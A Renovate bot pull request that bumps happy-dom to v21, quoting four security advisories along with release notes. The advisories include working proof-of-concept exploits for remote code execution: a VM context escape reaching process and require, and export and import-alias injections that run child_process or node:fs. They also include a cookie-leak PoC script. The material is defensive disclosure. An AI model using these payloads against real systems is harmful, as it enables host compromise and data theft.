Skip to content

Update dependency happy-dom to v21 [SECURITY] - #449

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-happy-dom-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-happy-dom-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 21, 2025 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
happy-dom ^17.0.0 → ^21.0.0 age confidence

Happy DOM: VM Context Escape can lead to Remote Code Execution

CVE-2025-61927 / GHSA-37j7-fg3j-429f

More information

Details

Escape of VM Context gives access to process level functionality
Summary

Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.

A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.

It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the require() function to import modules.

Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.

Reproduce
CommonJS (Possible to get hold of require)
const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
     const require = process.mainModule.require;
  
     console.log('Files:', require('fs').readdirSync('.').slice(0,3));
  </script>
`);
ESM (Not possible to get hold of import or require)
const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
  
     console.log('PID:', process.pid);
  </script>
`);
Potential Impact
Server-Side Rendering (SSR)
const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;
Testing Frameworks

Any test suite using Happy-DOM with untrusted content may be at risk

Attack Scenarios
  1. Data Exfiltration: Access to environment variables, configuration files, secrets
  2. Lateral Movement: Network access for connecting to internal systems. Happy DOM already gives access to the network by fetch, but has protections in place (such as CORS and header validation etc.).
  3. Code Execution: Child process access for running arbitrary commands
  4. Persistence: File system access
Recommended Immediate Actions
  1. Update Happy DOM to v20 or above
    • This version has JavaScript evaluation disabled by default
    • This version will output a warning if JavaScript is enabled in an insecure environment
  2. Run Node.js with the "--disallow-code-generation-from-strings" if you need JavaScript evaluation enabled
    • This makes sure that evaluation can't be used at process level to escape the VM
    • eval() and Function() can still be used within the Happy DOM VM without any known security risk
    • Happy DOM v20 and above will output a warning if this flag is not in use
  3. If you can't update Happy DOM right now, it's recommended to disable JavaScript evaluation, unless you completely trust the content within the environment
Technical Root Cause

All classes and functions inherit from Function. By walking the constructor chain it's possible to get hold of Function at process level. As Function can evaluate code from strings, it's possible to execute code at process level.

Running Node with the "--disallow-code-generation-from-strings" flag protects against this.

Severity

  • CVSS Score: 9.3 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code

CVE-2026-33943 / GHSA-6q6h-j7hj-3r64

More information

Details

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
    // Export object
    const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
    const exportCode: string[] = [];
    for (const part of parts) {
        const nameParts = part.trim().split(/\s+as\s+/);
        const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
        const importName = nameParts[0].replace(/["']/g, '');  // backticks NOT stripped
        if (exportName && importName) {
            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
            //               importName is inserted as executable code, not as a string
        }
    }
    newCode += exportCode.join(';\n');
}

The issue has three root causes:

  1. STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
  2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context
  3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filter

Attack flow:

Source:     export { require(`child_process`).execSync(`id`) }

Regex captures match[16] = " require(`child_process`).execSync(`id`) "

After .replace(/["']/g, ''):
  importName = "require(`child_process`).execSync(`id`)"
  (backticks are preserved)

Generated code:
  $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>
Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios:

  • SSR applications: Applications using happy-dom to render user-supplied HTML on the server
  • Web scraping: Applications parsing untrusted web pages with happy-dom
  • Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) {
    const nameParts = part.trim().split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
    const importName = nameParts[0].replace(/["'`]/g, '');

    if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
        exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
    }
}

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

CVE-2026-34226 / GHSA-w4gp-fjgq-3q4g

More information

Details

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment:

  1. Node.js >= 22
  2. happy-dom 20.6.1
  3. DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps:

  1. Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io
  2. Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io
  3. From page host, call fetch to target host with credentials: "include"
  4. Observe Cookie header received by the target host

Expected:

  1. Include api_cookie=API_ONLY
  2. Do not include page_cookie=PAGE_ONLY

Actual (observed):

  1. Includes page_cookie=PAGE_ONLY
  2. Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.
Impact

Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

CVE-2026-115895 / GHSA-834v-8h66-3h79

More information

Details

Summary

The ESM compiler in happy-dom@20.14.5 does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.

These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.

Confirmed affected versions

The PoC was directly tested against:

  • happy-dom@17.0.0
  • happy-dom@20.0.0
  • happy-dom@20.1.0
  • happy-dom@20.14.5

The same PoC does not trigger on happy-dom@16.8.1.

The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.

Suggested affected range:

>= 17.0.0, <= 20.14.5

No patched version is currently available.

Preconditions
  • JavaScript evaluation is enabled with enableJavaScriptEvaluation: true.
  • Attacker-controlled HTML or module source is processed by Happy DOM.
  • This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details

In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:

const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}

Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;

Consider the following source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

This is invalid ECMAScript module syntax. Node.js rejects it at the = token.

Happy DOM instead transforms it into the equivalent of:

let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');

This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.

The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:

if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}

Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.

Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:

globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )
Proof of concept

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.

1. Create package.json
{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}
2. Create dep.json
{}
3. Create payload.mjs

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
4. Create poc.mjs
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();
5. Run the control test
npm install
node --check payload.mjs

Expected result:

SyntaxError: Unexpected token '='

This confirms that the source is not valid ESM.

6. Run the Happy DOM PoC
node poc.mjs

Expected result:

[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF

The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a node:24-alpine Docker container, where it created:

/poc/HAPPY_DOM_RCE_PROOF
Impact

An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.

Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export declaration:

export { attacker_expression }

Its fix added identifier validation to the importName used by the export { ... } handler:

if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}

This report uses a different parsing and code-generation path:

import { name as malicious_alias } from './module';

The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.

Suggested fix

Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:

- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {

A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.

This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.

For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.

Verification record
  • Testing date: 2026-09-17
  • Duplicate check updated: 2026-09-20
  • Platform: Windows 11
  • Node.js: 24.14.1
  • Latest tested package: happy-dom@20.14.5
  • Source tag: v20.14.5
  • Source commit: 0d4cdbe7442af49d16b49ddf1acf7cc9684ed318
  • First confirmed affected version: 17.0.0
  • Confirmed unaffected version: 16.8.1
  • Docker environment: Node 24 Alpine
  • No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

capricorn86/happy-dom (happy-dom)

v21.0.4

Compare Source

👷‍♂️ Patch fixes
  • Fixed a code injection vulnerability in the ESM compiler - By @​capricorn86
  • Fixed cross-origin isolation so opaque-origin data: iframes cannot access their parent or top window - By @​capricorn86

v21.0.3

Compare Source

👷‍♂️ Patch fixes
  • Fixes security vulnerability where authorization header was forwarded when redirecting - By @​capricorn86

v21.0.2

Compare Source

👷‍♂️ Patch fixes

v21.0.1

Compare Source

👷‍♂️ Patch fixes

v21.0.0

Compare Source

💣 Breaking Changes
  • Disables CSS and IFrame loading by default to prevent server-side request forgery (SSRF) - By @​capricorn86
    • An attacker could embed <iframe> or <link rel="stylesheet"> elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access.
    • The settings property disableCSSFileLoading has been deprecated
    • Added the new settings properties enableCSSFileLoading and enableIframePageLoading
    • If you don't believe that you are at risk, you can keep the same behavior as in <=v20.14.6 by sending in { enableCSSFileLoading: true, enableIframePageLoading: true } as broswer settings (e.g. new Window({ settings }));

v20.14.6

Compare Source

👷‍♂️ Patch fixes

v20.14.5

Compare Source

👷‍♂️ Patch fixes

v20.14.4

Compare Source

👷‍♂️ Patch fixes

v20.14.3

Compare Source

👷‍♂️ Patch fixes

v20.14.2

Compare Source

👷‍♂️ Patch fixes
  • Fixes regression where not all CSS variables where resolved in getComputedStyle() - By @​klaesra in task #​2344

v20.14.1

Compare Source

👷‍♂️ Patch fixes

v20.14.0

Compare Source

🎨 Features

v20.13.2

Compare Source

👷‍♂️ Patch fixes

v20.13.1

Compare Source

👷‍♂️ Patch fixes

v20.13.0

Compare Source

🎨 Features

v20.12.2

Compare Source

👷‍♂️ Patch fixes

v20.12.1

Compare Source

🎨 Features
  • Adds support for kebab-case properties on CSSStyleDeclaration - By @​capricorn86 in task #​2256
  • Adds support for all Chromium CSS properties to CSSStyleDeclaration - By @​capricorn86 in task #​2256
    • Downloads a list from the Chromium project when compiling
👷‍♂️ Patch fixes

v20.12.0

Compare Source

🎨 Features
  • Adds support for Animation, AnimationTimeline, DocumentTimeline and KeyframeEffect - By @​capricorn86
  • Adds support for Element.animate() - By @​capricorn86

v20.11.15

Compare Source

👷‍♂️ Patch fixes

v20.11.14

Compare Source

👷‍♂️ Patch fixes
  • Change prototype of element to the custom element when upgraded to keep the reference - By @​capricorn86 in task #​2331
    • The previous solution replaced the element with the custom element and copied it's properties, but this made any reference to the original element invalid

v20.11.13

Compare Source

👷‍♂️ Patch fixes

v20.11.12

Compare Source

👷‍♂️ Patch fixes

v20.11.11

Compare Source

👷‍♂️ Patch fixes

v20.11.10

Compare Source

👷‍♂️ Patch fixes
  • Return default validationMessage for built-in constraint violations - By @​mixelburg in task #​2187

v20.11.9

Compare Source

👷‍♂️ Patch fixes
  • Make sure that the element has been upgraded before invoking reaction callback in custom elements - By @​capricorn86 in task #​2317

v20.11.8

Compare Source

👷‍♂️ Patch fixes
  • Values pushed or assigned to the adoptedStyleSheet array should be validated - By @​capricorn86 in task #​2315

v20.11.7

Compare Source

👷‍♂️ Patch fixes
  • The properties Document.adoptedStyleSheets and ShadowRoot.adoptedStyleSheets should validate it's value - By @​capricorn86 in task #​2313

v20.11.6

Compare Source

👷‍♂️ Patch fixes

v20.11.5

Compare Source

👷‍♂️ Patch fixes
  • Allow explicit element types for querySelector (e.g. querySelector<HTMLInputElement>(".my-input")) - By @​cyphercodes

v20.11.4

Compare Source

👷‍♂️ Patch fixes
  • Fixes the CORS check fetch() to match origins instead of host and protocol - By @​rexxars in task #​1490

v20.11.3

Compare Source

👷‍♂️ Patch fixes

v20.11.2

Compare Source

👷‍♂️ Patch fixes

v20.11.1

Compare Source

👷‍♂️ Patch fixes
  • Improve performance of query selectors by avoiding construction of DOMException when not needed - By @​@​cyfung1031 in task #​2228

v20.11.0

Compare Source

🎨 Features

v20.10.6

Compare Source

👷‍♂️ Patch fixes

v20.10.5

Compare Source

👷‍♂️ Patch fixes
  • Adds cache to query selector parser - By @​capricorn86 in task #​2142
    • The selector parser degraded in performance in v20.6.3 to solve more complex selectors
    • Parsing is still a bit slower, but the cache will hopefully mitigate most of the problem

v20.10.4

Compare Source

👷‍♂️ Patch fixes
  • Coerce null qualifiedName to empty string in createDocument - By @​Firer in task #​2206

v20.10.3

Compare Source

👷‍♂️ Patch fixes
  • Fix "~=" attribute selector matching hyphenated substrings in CSS selectors - By @​mixelburg in task #​2194

v20.10.2

Compare Source

👷‍♂️ Patch fixes

v20.10.1

Compare Source

v20.10.0

Compare Source

🎨 Features

v20.9.0

Compare Source

🎨 Features
  • Adds support for event listener properties on Window (e.g. Window.onkeydown) - By @​capricorn86 in task #​2131

v20.8.9

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where cookies from the current origin was being forwarded to the target origin in fetch requests - By @​capricorn86 in task #​2117

v20.8.8

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where export names can be interpolated as executable code in ESM - By @​capricorn86 in task #​2113
    • A security advisory (GHSA-6q6h-j7hj-3r64) has been reported that shows a security vulnerability where it may be possible to escape the VM context and get access to process level functionality in unsafe environments using CommonJS. Big thanks to @​tndud042713 for reporting this!

v20.8.7

Compare Source

👷‍♂️ Patch fixes
  • Replace implementing Node.js Console with common IConsole interface to support latest version of Bun - By @​YevheniiKotyrlo in task [#​18

[!IMPORTANT]
✂ PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@vercel

vercel Bot commented Oct 21, 2025 •

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated
ui-components Ready Ready Preview Oct 29, 2026 3:35am UTC

Request Review

@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 80f1e60 to 23d5866 Compare October 21, 2025 14:33
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 23d5866 to be8c395 Compare November 10, 2025 22:00
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from be8c395 to cc12023 Compare November 18, 2025 23:40
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from cc12023 to 82f100c Compare December 3, 2025 16:33
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 82f100c to 118c1f9 Compare December 31, 2025 17:57
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 118c1f9 to 5c147fd Compare January 8, 2026 21:14
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 5c147fd to 98c0375 Compare January 19, 2026 17:10
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 98c0375 to 9c52ba1 Compare February 2, 2026 16:15
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 9c52ba1 to c2e4d21 Compare February 12, 2026 12:34
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from c2e4d21 to 3d4b341 Compare March 5, 2026 16:55
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 3d4b341 to c5cac76 Compare March 13, 2026 12:41
@renovate renovate Bot changed the title Update dependency happy-dom to v20 [SECURITY] Update dependency happy-dom to v20 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/npm-happy-dom-vulnerability branch March 27, 2026 02:53
@renovate renovate Bot changed the title Update dependency happy-dom to v20 [SECURITY] - autoclosed Update dependency happy-dom to v20 [SECURITY] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from ea498fa to c5cac76 Compare March 30, 2026 19:03
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 7f8a4ce to 491b4dc Compare May 12, 2026 13:58
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 491b4dc to 3c1a1f7 Compare May 18, 2026 14:01
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 3c1a1f7 to 2d26516 Compare May 28, 2026 22:30
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 2d26516 to 883336c Compare June 11, 2026 22:06
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 883336c to ec72dc6 Compare July 12, 2026 14:53
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from ec72dc6 to 40e785d Compare July 17, 2026 03:51
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 40e785d to e253db1 Compare July 21, 2026 00:04
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from e253db1 to 21781ca Compare July 24, 2026 23:04
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 21781ca to 68b7bf1 Compare July 30, 2026 19:39
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 68b7bf1 to a5efc40 Compare August 12, 2026 02:58
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from a5efc40 to 8a4eeb3 Compare August 26, 2026 23:03
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 8a4eeb3 to da917bd Compare September 3, 2026 00:29
@renovate
